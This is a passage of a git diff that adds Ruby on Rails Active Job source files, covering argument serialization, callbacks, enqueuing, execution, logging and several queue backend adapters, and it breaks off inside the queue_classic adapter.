+          result
+        when Hash
+          symbol_keys = argument.each_key.grep(Symbol).map(&:to_s)
+          result = serialize_hash(argument)
+          result[SYMBOL_KEYS_KEY] = symbol_keys
+          result
+        else
+          raise SerializationError.new("Unsupported argument type: #{argument.class.name}")
+        end
+      end
+
+      def deserialize_argument(argument)
+        case argument
+        when String
+          GlobalID::Locator.locate(argument) || argument
+        when *TYPE_WHITELIST
+          argument
+        when Array
+          argument.map { |arg| deserialize_argument(arg) }
+        when Hash
+          if serialized_global_id?(argument)
+            deserialize_global_id argument
+          else
+            deserialize_hash(argument)
+          end
+        else
+          raise ArgumentError, "Can only deserialize primitive arguments: #{argument.inspect}"
+        end
+      end
+
+      def serialized_global_id?(hash)
+        hash.size == 1 and hash.include?(GLOBALID_KEY)
+      end
+
+      def deserialize_global_id(hash)
+        GlobalID::Locator.locate hash[GLOBALID_KEY]
+      end
+
+      def serialize_hash(argument)
+        argument.each_with_object({}) do |(key, value), hash|
+          hash[serialize_hash_key(key)] = serialize_argument(value)
+        end
+      end
+
+      def deserialize_hash(serialized_hash)
+        result = serialized_hash.transform_values { |v| deserialize_argument(v) }
+        if result.delete(WITH_INDIFFERENT_ACCESS_KEY)
+          result = result.with_indifferent_access
+        elsif symbol_keys = result.delete(SYMBOL_KEYS_KEY)
+          result = transform_symbol_keys(result, symbol_keys)
+        end
+        result
+      end
+
+      RESERVED_KEYS = [
+        GLOBALID_KEY, GLOBALID_KEY.to_sym,
+        SYMBOL_KEYS_KEY, SYMBOL_KEYS_KEY.to_sym,
+        WITH_INDIFFERENT_ACCESS_KEY, WITH_INDIFFERENT_ACCESS_KEY.to_sym,
+      ]
+      private_constant :RESERVED_KEYS
+
+      def serialize_hash_key(key)
+        case key
+        when *RESERVED_KEYS
+          raise SerializationError.new("Can't serialize a Hash with reserved key #{key.inspect}")
+        when String, Symbol
+          key.to_s
+        else
+          raise SerializationError.new("Only string and symbol hash keys may be serialized as job arguments, but #{key.inspect} is a #{key.class}")
+        end
+      end
+
+      def transform_symbol_keys(hash, symbol_keys)
+        hash.transform_keys do |key|
+          if symbol_keys.include?(key)
+            key.to_sym
+          else
+            key
+          end
+        end
+      end
+  end
+end
diff --git a/activejob/lib/active_job/base.rb b/activejob/lib/active_job/base.rb
new file mode 100644
index 0000000000..fd49b3fda5
--- /dev/null
+++ b/activejob/lib/active_job/base.rb
@@ -0,0 +1,66 @@
+require 'active_job/core'
+require 'active_job/queue_adapter'
+require 'active_job/queue_name'
+require 'active_job/enqueuing'
+require 'active_job/execution'
+require 'active_job/callbacks'
+require 'active_job/logging'
+
+module ActiveJob #:nodoc:
+  # = Active Job
+  #
+  # Active Job objects can be configured to work with different backend
+  # queuing frameworks. To specify a queue adapter to use:
+  #
+  #   ActiveJob::Base.queue_adapter = :inline
+  #
+  # A list of supported adapters can be found in QueueAdapters.
+  #
+  # Active Job objects can be defined by creating a class that inherits
+  # from the ActiveJob::Base class. The only necessary method to
+  # implement is the "perform" method.
+  #
+  # To define an Active Job object:
+  #
+  #   class ProcessPhotoJob < ActiveJob::Base
+  #     def perform(photo)
+  #       photo.watermark!('Rails')
+  #       photo.rotate!(90.degrees)
+  #       photo.resize_to_fit!(300, 300)
+  #       photo.upload!
+  #     end
+  #   end
+  #
+  # Records that are passed in are serialized/deserialized using Global
+  # ID. More information can be found in Arguments.
+  #
+  # To enqueue a job to be performed as soon the queueing system is free:
+  #
+  #   ProcessPhotoJob.perform_later(photo)
+  #
+  # To enqueue a job to be processed at some point in the future:
+  #
+  #   ProcessPhotoJob.set(wait_until: Date.tomorrow.noon).perform_later(photo)
+  #
+  # More information can be found in ActiveJob::Core::ClassMethods#set
+  #
+  # A job can also be processed immediately without sending to the queue:
+  #
+  #  ProcessPhotoJob.perform_now(photo)
+  #
+  # == Exceptions
+  #
+  # * DeserializationError - Error class for deserialization errors.
+  # * SerializationError - Error class for serialization errors.
+  class Base
+    include Core
+    include QueueAdapter
+    include QueueName
+    include Enqueuing
+    include Execution
+    include Callbacks
+    include Logging
+
+    ActiveSupport.run_load_hooks(:active_job, self)
+  end
+end
diff --git a/activejob/lib/active_job/callbacks.rb b/activejob/lib/active_job/callbacks.rb
new file mode 100644
index 0000000000..2b6149e84e
--- /dev/null
+++ b/activejob/lib/active_job/callbacks.rb
@@ -0,0 +1,146 @@
+require 'active_support/callbacks'
+
+module ActiveJob
+  # = Active Job Callbacks
+  #
+  # Active Job provides hooks during the life cycle of a job. Callbacks allow you
+  # to trigger logic during the life cycle of a job. Available callbacks are:
+  #
+  # * <tt>before_enqueue</tt>
+  # * <tt>around_enqueue</tt>
+  # * <tt>after_enqueue</tt>
+  # * <tt>before_perform</tt>
+  # * <tt>around_perform</tt>
+  # * <tt>after_perform</tt>
+  #
+  module Callbacks
+    extend  ActiveSupport::Concern
+    include ActiveSupport::Callbacks
+
+    included do
+      define_callbacks :perform
+      define_callbacks :enqueue
+    end
+
+    # These methods will be included into any Active Job object, adding
+    # callbacks for +perform+ and +enqueue+ methods.
+    module ClassMethods
+      # Defines a callback that will get called right before the
+      # job's perform method is executed.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     before_perform do |job|
+      #       UserMailer.notify_video_started_processing(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def before_perform(*filters, &blk)
+        set_callback(:perform, :before, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right after the
+      # job's perform method has finished.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     after_perform do |job|
+      #       UserMailer.notify_video_processed(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def after_perform(*filters, &blk)
+        set_callback(:perform, :after, *filters, &blk)
+      end
+
+      # Defines a callback that will get called around the job's perform method.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     around_perform do |job, block|
+      #       UserMailer.notify_video_started_processing(job.arguments.first)
+      #       block.call
+      #       UserMailer.notify_video_processed(job.arguments.first)
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def around_perform(*filters, &blk)
+        set_callback(:perform, :around, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right before the
+      # job is enqueued.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     before_enqueue do |job|
+      #       $statsd.increment "enqueue-video-job.try"
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def before_enqueue(*filters, &blk)
+        set_callback(:enqueue, :before, *filters, &blk)
+      end
+
+      # Defines a callback that will get called right after the
+      # job is enqueued.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     after_enqueue do |job|
+      #       $statsd.increment "enqueue-video-job.success"
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def after_enqueue(*filters, &blk)
+        set_callback(:enqueue, :after, *filters, &blk)
+      end
+
+      # Defines a callback that will get called before and after the
+      # job is enqueued.
+      #
+      #   class VideoProcessJob < ActiveJob::Base
+      #     queue_as :default
+      #
+      #     around_enqueue do |job, block|
+      #       $statsd.time "video-job.process" do
+      #         block.call
+      #       end
+      #     end
+      #
+      #     def perform(video_id)
+      #       Video.find(video_id).process
+      #     end
+      #   end
+      #
+      def around_enqueue(*filters, &blk)
+        set_callback(:enqueue, :around, *filters, &blk)
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/configured_job.rb b/activejob/lib/active_job/configured_job.rb
new file mode 100644
index 0000000000..979280b910
--- /dev/null
+++ b/activejob/lib/active_job/configured_job.rb
@@ -0,0 +1,16 @@
+module ActiveJob
+  class ConfiguredJob #:nodoc:
+    def initialize(job_class, options={})
+      @options = options
+      @job_class = job_class
+    end
+
+    def perform_now(*args)
+      @job_class.new(*args).perform_now
+    end
+
+    def perform_later(*args)
+      @job_class.new(*args).enqueue @options
+    end
+  end
+end
diff --git a/activejob/lib/active_job/core.rb b/activejob/lib/active_job/core.rb
new file mode 100644
index 0000000000..ddd7d1361c
--- /dev/null
+++ b/activejob/lib/active_job/core.rb
@@ -0,0 +1,112 @@
+module ActiveJob
+  module Core
+    extend ActiveSupport::Concern
+
+    included do
+      # Job arguments
+      attr_accessor :arguments
+      attr_writer :serialized_arguments
+
+      # Timestamp when the job should be performed
+      attr_accessor :scheduled_at
+
+      # Job Identifier
+      attr_accessor :job_id
+
+      # Queue in which the job will reside.
+      attr_writer :queue_name
+    end
+
+    # These methods will be included into any Active Job object, adding
+    # helpers for de/serialization and creation of job instances.
+    module ClassMethods
+      # Creates a new job instance from a hash created with +serialize+
+      def deserialize(job_data)
+        job = job_data['job_class'].constantize.new
+        job.deserialize(job_data)
+        job
+      end
+
+      # Creates a job preconfigured with the given options. You can call
+      # perform_later with the job arguments to enqueue the job with the
+      # preconfigured options
+      #
+      # ==== Options
+      # * <tt>:wait</tt> - Enqueues the job with the specified delay
+      # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+      # * <tt>:queue</tt> - Enqueues the job on the specified queue
+      #
+      # ==== Examples
+      #
+      #    VideoJob.set(queue: :some_queue).perform_later(Video.last)
+      #    VideoJob.set(wait: 5.minutes).perform_later(Video.last)
+      #    VideoJob.set(wait_until: Time.now.tomorrow).perform_later(Video.last)
+      #    VideoJob.set(queue: :some_queue, wait: 5.minutes).perform_later(Video.last)
+      #    VideoJob.set(queue: :some_queue, wait_until: Time.now.tomorrow).perform_later(Video.last)
+      def set(options={})
+        ConfiguredJob.new(self, options)
+      end
+    end
+
+    # Creates a new job instance. Takes the arguments that will be
+    # passed to the perform method.
+    def initialize(*arguments)
+      @arguments  = arguments
+      @job_id     = SecureRandom.uuid
+      @queue_name = self.class.queue_name
+    end
+
+    # Returns a hash with the job data that can safely be passed to the
+    # queueing adapter.
+    def serialize
+      {
+        'job_class'  => self.class.name,
+        'job_id'     => job_id,
+        'queue_name' => queue_name,
+        'arguments'  => serialize_arguments(arguments)
+      }
+    end
+
+    # Attaches the stored job data to the current instance. Receives a hash
+    # returned from +serialize+
+    #
+    # ==== Examples
+    #
+    #    class DeliverWebhookJob < ActiveJob::Base
+    #      def serialize
+    #        super.merge('attempt_number' => (@attempt_number || 0) + 1)
+    #      end
+    #
+    #      def deserialize(job_data)
+    #        super
+    #        @attempt_number = job_data['attempt_number']
+    #      end
+    #
+    #      rescue_from(TimeoutError) do |exception|
+    #        raise exception if @attempt_number > 5
+    #        retry_job(wait: 10)
+    #      end
+    #    end
+    def deserialize(job_data)
+      self.job_id               = job_data['job_id']
+      self.queue_name           = job_data['queue_name']
+      self.serialized_arguments = job_data['arguments']
+    end
+
+    private
+      def deserialize_arguments_if_needed
+        if defined?(@serialized_arguments) && @serialized_arguments.present?
+          @arguments = deserialize_arguments(@serialized_arguments)
+          @serialized_arguments = nil
+        end
+      end
+
+      def serialize_arguments(serialized_args)
+        Arguments.serialize(serialized_args)
+      end
+
+      def deserialize_arguments(serialized_args)
+        Arguments.deserialize(serialized_args)
+      end
+  end
+end
diff --git a/activejob/lib/active_job/enqueuing.rb b/activejob/lib/active_job/enqueuing.rb
new file mode 100644
index 0000000000..430c17e1bf
--- /dev/null
+++ b/activejob/lib/active_job/enqueuing.rb
@@ -0,0 +1,77 @@
+require 'active_job/arguments'
+
+module ActiveJob
+  module Enqueuing
+    extend ActiveSupport::Concern
+
+    # Includes the +perform_later+ method for job initialization.
+    module ClassMethods
+      # Push a job onto the queue. The arguments must be legal JSON types
+      # (string, int, float, nil, true, false, hash or array) or
+      # GlobalID::Identification instances. Arbitrary Ruby objects
+      # are not supported.
+      #
+      # Returns an instance of the job class queued with arguments available in
+      # Job#arguments.
+      def perform_later(*args)
+        job_or_instantiate(*args).enqueue
+      end
+
+      protected
+        def job_or_instantiate(*args)
+          args.first.is_a?(self) ? args.first : new(*args)
+        end
+    end
+
+    # Reschedules the job to be re-executed. This is useful in combination
+    # with the +rescue_from+ option. When you rescue an exception from your job
+    # you can ask Active Job to retry performing your job.
+    #
+    # ==== Options
+    # * <tt>:wait</tt> - Enqueues the job with the specified delay
+    # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+    # * <tt>:queue</tt> - Enqueues the job on the specified queue
+    #
+    # ==== Examples
+    #
+    #  class SiteScrapperJob < ActiveJob::Base
+    #    rescue_from(ErrorLoadingSite) do
+    #      retry_job queue: :low_priority
+    #    end
+    #
+    #    def perform(*args)
+    #      # raise ErrorLoadingSite if cannot scrape
+    #    end
+    #  end
+    def retry_job(options={})
+      enqueue options
+    end
+
+    # Enqueues the job to be performed by the queue adapter.
+    #
+    # ==== Options
+    # * <tt>:wait</tt> - Enqueues the job with the specified delay
+    # * <tt>:wait_until</tt> - Enqueues the job at the time specified
+    # * <tt>:queue</tt> - Enqueues the job on the specified queue
+    #
+    # ==== Examples
+    #
+    #    my_job_instance.enqueue
+    #    my_job_instance.enqueue wait: 5.minutes
+    #    my_job_instance.enqueue queue: :important
+    #    my_job_instance.enqueue wait_until: Date.tomorrow.midnight
+    def enqueue(options={})
+      self.scheduled_at = options[:wait].seconds.from_now.to_f if options[:wait]
+      self.scheduled_at = options[:wait_until].to_f if options[:wait_until]
+      self.queue_name   = self.class.queue_name_from_part(options[:queue]) if options[:queue]
+      run_callbacks :enqueue do
+        if self.scheduled_at
+          self.class.queue_adapter.enqueue_at self, self.scheduled_at
+        else
+          self.class.queue_adapter.enqueue self
+        end
+      end
+      self
+    end
+  end
+end
diff --git a/activejob/lib/active_job/execution.rb b/activejob/lib/active_job/execution.rb
new file mode 100644
index 0000000000..79d232da4a
--- /dev/null
+++ b/activejob/lib/active_job/execution.rb
@@ -0,0 +1,42 @@
+require 'active_support/rescuable'
+require 'active_job/arguments'
+
+module ActiveJob
+  module Execution
+    extend ActiveSupport::Concern
+    include ActiveSupport::Rescuable
+
+    # Includes methods for executing and performing jobs instantly.
+    module ClassMethods
+      # Performs the job immediately.
+      #
+      #   MyJob.perform_now("mike")
+      #
+      def perform_now(*args)
+        job_or_instantiate(*args).perform_now
+      end
+
+      def execute(job_data) #:nodoc:
+        job = deserialize(job_data)
+        job.perform_now
+      end
+    end
+
+    # Performs the job immediately. The job is not sent to the queueing adapter
+    # but directly executed by blocking the execution of others until it's finished.
+    #
+    #   MyJob.new(*args).perform_now
+    def perform_now
+      deserialize_arguments_if_needed
+      run_callbacks :perform do
+        perform(*arguments)
+      end
+    rescue => exception
+      rescue_with_handler(exception) || raise(exception)
+    end
+
+    def perform(*)
+      fail NotImplementedError
+    end
+  end
+end
diff --git a/activejob/lib/active_job/gem_version.rb b/activejob/lib/active_job/gem_version.rb
new file mode 100644
index 0000000000..27a5de93f4
--- /dev/null
+++ b/activejob/lib/active_job/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveJob
+  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activejob/lib/active_job/logging.rb b/activejob/lib/active_job/logging.rb
new file mode 100644
index 0000000000..cd29e6908e
--- /dev/null
+++ b/activejob/lib/active_job/logging.rb
@@ -0,0 +1,107 @@
+require 'active_support/core_ext/string/filters'
+require 'active_support/tagged_logging'
+require 'active_support/logger'
+
+module ActiveJob
+  module Logging #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      cattr_accessor(:logger) { ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDOUT)) }
+
+      around_enqueue do |_, block, _|
+        tag_logger do
+          block.call
+        end
+      end
+
+      around_perform do |job, block, _|
+        tag_logger(job.class.name, job.job_id) do
+          payload = {adapter: job.class.queue_adapter, job: job}
+          ActiveSupport::Notifications.instrument("perform_start.active_job", payload.dup)
+          ActiveSupport::Notifications.instrument("perform.active_job", payload) do
+            block.call
+          end
+        end
+      end
+
+      before_enqueue do |job|
+        if job.scheduled_at
+          ActiveSupport::Notifications.instrument "enqueue_at.active_job",
+            adapter: job.class.queue_adapter, job: job
+        else
+          ActiveSupport::Notifications.instrument "enqueue.active_job",
+            adapter: job.class.queue_adapter, job: job
+        end
+      end
+    end
+
+    private
+      def tag_logger(*tags)
+        if logger.respond_to?(:tagged)
+          tags.unshift "ActiveJob" unless logger_tagged_by_active_job?
+          ActiveJob::Base.logger.tagged(*tags){ yield }
+        else
+          yield
+        end
+      end
+
+      def logger_tagged_by_active_job?
+        logger.formatter.current_tags.include?("ActiveJob")
+      end
+
+    class LogSubscriber < ActiveSupport::LogSubscriber #:nodoc:
+      def enqueue(event)
+        info do
+          job = event.payload[:job]
+          "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)}" + args_info(job)
+        end
+      end
+
+      def enqueue_at(event)
+        info do
+          job = event.payload[:job]
+          "Enqueued #{job.class.name} (Job ID: #{job.job_id}) to #{queue_name(event)} at #{scheduled_at(event)}" + args_info(job)
+        end
+      end
+
+      def perform_start(event)
+        info do
+          job = event.payload[:job]
+          "Performing #{job.class.name} from #{queue_name(event)}" + args_info(job)
+        end
+      end
+
+      def perform(event)
+        info do
+          job = event.payload[:job]
+          "Performed #{job.class.name} from #{queue_name(event)} in #{event.duration.round(2)}ms"
+        end
+      end
+
+      private
+        def queue_name(event)
+          event.payload[:adapter].name.demodulize.remove('Adapter') + "(#{event.payload[:job].queue_name})"
+        end
+
+        def args_info(job)
+          if job.arguments.any?
+            ' with arguments: ' +
+              job.arguments.map { |arg| arg.try(:to_global_id).try(:to_s) || arg.inspect }.join(', ')
+          else
+            ''
+          end
+        end
+
+        def scheduled_at(event)
+          Time.at(event.payload[:job].scheduled_at).utc
+        end
+
+        def logger
+          ActiveJob::Base.logger
+        end
+    end
+  end
+end
+
+ActiveJob::Logging::LogSubscriber.attach_to :active_job
diff --git a/activejob/lib/active_job/queue_adapter.rb b/activejob/lib/active_job/queue_adapter.rb
new file mode 100644
index 0000000000..d610d30e01
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapter.rb
@@ -0,0 +1,35 @@
+require 'active_job/queue_adapters/inline_adapter'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveJob
+  # The <tt>ActiveJob::QueueAdapter</tt> module is used to load the
+  # correct adapter. The default queue adapter is the :inline queue.
+  module QueueAdapter #:nodoc:
+    extend ActiveSupport::Concern
+
+    # Includes the setter method for changing the active queue adapter.
+    module ClassMethods
+      mattr_reader(:queue_adapter) { ActiveJob::QueueAdapters::InlineAdapter }
+
+      # Specify the backend queue provider. The default queue adapter
+      # is the :inline queue. See QueueAdapters for more
+      # information.
+      def queue_adapter=(name_or_adapter)
+        @@queue_adapter = \
+          case name_or_adapter
+          when :test
+            ActiveJob::QueueAdapters::TestAdapter.new
+          when Symbol, String
+            load_adapter(name_or_adapter)
+          else
+            name_or_adapter if name_or_adapter.respond_to?(:enqueue)
+          end
+      end
+
+      private
+        def load_adapter(name)
+          "ActiveJob::QueueAdapters::#{name.to_s.camelize}Adapter".constantize
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters.rb b/activejob/lib/active_job/queue_adapters.rb
new file mode 100644
index 0000000000..4b91c93dbe
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters.rb
@@ -0,0 +1,52 @@
+module ActiveJob
+  # == Active Job adapters
+  #
+  # Active Job has adapters for the following queueing backends:
+  #
+  # * {Backburner}[https://github.com/nesquena/backburner]
+  # * {Delayed Job}[https://github.com/collectiveidea/delayed_job]
+  # * {Qu}[https://github.com/bkeepers/qu]
+  # * {Que}[https://github.com/chanks/que]
+  # * {queue_classic}[https://github.com/QueueClassic/queue_classic]
+  # * {Resque 1.x}[https://github.com/resque/resque/tree/1-x-stable]
+  # * {Sidekiq}[http://sidekiq.org]
+  # * {Sneakers}[https://github.com/jondot/sneakers]
+  # * {Sucker Punch}[https://github.com/brandonhilkert/sucker_punch]
+  #
+  # === Backends Features
+  #
+  #   |                   | Async | Queues | Delayed   | Priorities | Timeout | Retries |
+  #   |-------------------|-------|--------|-----------|------------|---------|---------|
+  #   | Backburner        | Yes   | Yes    | Yes       | Yes        | Job     | Global  |
+  #   | Delayed Job       | Yes   | Yes    | Yes       | Job        | Global  | Global  |
+  #   | Qu                | Yes   | Yes    | No        | No         | No      | Global  |
+  #   | Que               | Yes   | Yes    | Yes       | Job        | No      | Job     |
+  #   | queue_classic     | Yes   | Yes    | No*       | No         | No      | No      |
+  #   | Resque            | Yes   | Yes    | Yes (Gem) | Queue      | Global  | Yes     |
+  #   | Sidekiq           | Yes   | Yes    | Yes       | Queue      | No      | Job     |
+  #   | Sneakers          | Yes   | Yes    | No        | Queue      | Queue   | No      |
+  #   | Sucker Punch      | Yes   | Yes    | No        | No         | No      | No      |
+  #   | Active Job Inline | No    | Yes    | N/A       | N/A        | N/A     | N/A     |
+  #   | Active Job        | Yes   | Yes    | Yes       | No         | No      | No      |
+  #
+  # NOTE:
+  # queue_classic does not support Job scheduling. However you can implement this
+  # yourself or you can use the queue_classic-later gem. See the documentation for
+  # ActiveJob::QueueAdapters::QueueClassicAdapter.
+  #
+  module QueueAdapters
+    extend ActiveSupport::Autoload
+
+    autoload :InlineAdapter
+    autoload :BackburnerAdapter
+    autoload :DelayedJobAdapter
+    autoload :QuAdapter
+    autoload :QueAdapter
+    autoload :QueueClassicAdapter
+    autoload :ResqueAdapter
+    autoload :SidekiqAdapter
+    autoload :SneakersAdapter
+    autoload :SuckerPunchAdapter
+    autoload :TestAdapter
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/backburner_adapter.rb b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
new file mode 100644
index 0000000000..2453d065de
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/backburner_adapter.rb
@@ -0,0 +1,36 @@
+require 'backburner'
+
+module ActiveJob
+  module QueueAdapters
+    # == Backburner adapter for Active Job
+    #
+    # Backburner is a beanstalkd-powered job queue that can handle a very
+    # high volume of jobs. You create background jobs and place them on
+    # multiple work queues to be processed later. Read more about
+    # Backburner {here}[https://github.com/nesquena/backburner].
+    #
+    # To use Backburner set the queue_adapter config to +:backburner+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :backburner
+    class BackburnerAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          delay = timestamp - Time.current.to_f
+          Backburner::Worker.enqueue JobWrapper, [ job.serialize ], queue: job.queue_name, delay: delay
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
new file mode 100644
index 0000000000..69d9e70de3
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb
@@ -0,0 +1,39 @@
+require 'delayed_job'
+
+module ActiveJob
+  module QueueAdapters
+    # == Delayed Job adapter for Active Job
+    #
+    # Delayed::Job (or DJ) encapsulates the common pattern of asynchronously
+    # executing longer tasks in the background. Although DJ can have many
+    # storage backends, one of the most used is based on Active Record.
+    # Read more about Delayed Job {here}[https://github.com/collectiveidea/delayed_job].
+    #
+    # To use Delayed Job, set the queue_adapter config to +:delayed_job+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :delayed_job
+    class DelayedJobAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name)
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          Delayed::Job.enqueue(JobWrapper.new(job.serialize), queue: job.queue_name, run_at: Time.at(timestamp))
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        attr_accessor :job_data
+
+        def initialize(job_data)
+          @job_data = job_data
+        end
+
+        def perform
+          Base.execute(job_data)
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/inline_adapter.rb b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
new file mode 100644
index 0000000000..e25d88e723
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/inline_adapter.rb
@@ -0,0 +1,23 @@
+module ActiveJob
+  module QueueAdapters
+    # == Active Job Inline adapter
+    #
+    # When enqueueing jobs with the Inline adapter the job will be executed
+    # immediately.
+    #
+    # To use the Inline set the queue_adapter config to +:inline+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :inline
+    class InlineAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          Base.execute(job.serialize)
+        end
+
+        def enqueue_at(*) #:nodoc:
+          raise NotImplementedError.new("Use a queueing backend to enqueue jobs in the future. Read more at http://guides.rubyonrails.org/active_job_basics.html")
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/qu_adapter.rb b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
new file mode 100644
index 0000000000..30aa5a4670
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/qu_adapter.rb
@@ -0,0 +1,42 @@
+require 'qu'
+
+module ActiveJob
+  module QueueAdapters
+    # == Qu adapter for Active Job
+    #
+    # Qu is a Ruby library for queuing and processing background jobs. It is
+    # heavily inspired by delayed_job and Resque. Qu was created to overcome
+    # some shortcomings in the existing queuing libraries.
+    # The advantages of Qu are: Multiple backends (redis, mongo), jobs are
+    # requeued when worker is killed, resque-like API.
+    #
+    # Read more about Qu {here}[https://github.com/bkeepers/qu].
+    #
+    # To use Qu set the queue_adapter config to +:qu+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :qu
+    class QuAdapter
+      class << self
+        def enqueue(job, *args) #:nodoc:
+          Qu::Payload.new(klass: JobWrapper, args: [job.serialize]).tap do |payload|
+            payload.instance_variable_set(:@queue, job.queue_name)
+          end.push
+        end
+
+        def enqueue_at(job, timestamp, *args) #:nodoc:
+          raise NotImplementedError
+        end
+      end
+
+      class JobWrapper < Qu::Job #:nodoc:
+        def initialize(job_data)
+          @job_data  = job_data
+        end
+
+        def perform
+          Base.execute @job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/que_adapter.rb b/activejob/lib/active_job/queue_adapters/que_adapter.rb
new file mode 100644
index 0000000000..e501fe0368
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/que_adapter.rb
@@ -0,0 +1,35 @@
+require 'que'
+
+module ActiveJob
+  module QueueAdapters
+    # == Que adapter for Active Job
+    #
+    # Que is a high-performance alternative to DelayedJob or QueueClassic that
+    # improves the reliability of your application by protecting your jobs with
+    # the same ACID guarantees as the rest of your data. Que is a queue for
+    # Ruby and PostgreSQL that manages jobs using advisory locks.
+    #
+    # Read more about Que {here}[https://github.com/chanks/que].
+    #
+    # To use Que set the queue_adapter config to +:que+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :que
+    class QueAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          JobWrapper.enqueue job.serialize, queue: job.queue_name
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          JobWrapper.enqueue job.serialize, queue: job.queue_name, run_at: Time.at(timestamp)
+        end
+      end
+
+      class JobWrapper < Que::Job #:nodoc:
+        def run(job_data)
+          Base.execute job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
new file mode 100644
index 0000000000..34c11a68b2
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb
@@ -0,0 +1,54 @@
+require 'queue_classic'
+
+module ActiveJob
+  module QueueAdapters
+    # == queue_classic adapter for Active Job
+    #
+    # queue_classic provides a simple interface to a PostgreSQL-backed message
+    # queue. queue_classic specializes in concurrent locking and minimizing
+    # database load while providing a simple, intuitive developer experience.
+    # queue_classic assumes that you are already using PostgreSQL in your
+    # production environment and that adding another dependency (e.g. redis,
+    # beanstalkd, 0mq) is undesirable.
+    #
+    # Read more about queue_classic {here}[https://github.com/QueueClassic/queue_classic].
+    #
+    # To use queue_classic set the queue_adapter config to +:queue_classic+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :queue_classic
+    class QueueClassicAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          build_queue(job.queue_name).enqueue("#{JobWrapper.name}.perform", job.serialize)
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          queue = build_queue(job.queue_name)
+          unless queue.respond_to?(:enqueue_at)
+            raise NotImplementedError, 'To be able to schedule jobs with queue_classic ' \
+              'the QC::Queue needs to respond to `enqueue_at(timestamp, method, *args)`. ' \
+              'You can implement this yourself or you can use the queue_classic-later gem.'
+          end
+          queue.enqueue_at(timestamp, "#{JobWrapper.name}.perform", job.serialize)
+        end
+
+        # Builds a <tt>QC::Queue</tt> object to schedule jobs on.
+        #
+        # If you have a custom <tt>QC::Queue</tt> subclass you'll need to subclass
+        # <tt>ActiveJob::QueueAdapters::QueueClassicAdapter</tt> and override the
+        # <tt>build_queue</tt> method.
+        def build_queue(queue_name)
+          QC::Queue.new(queue_name)
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
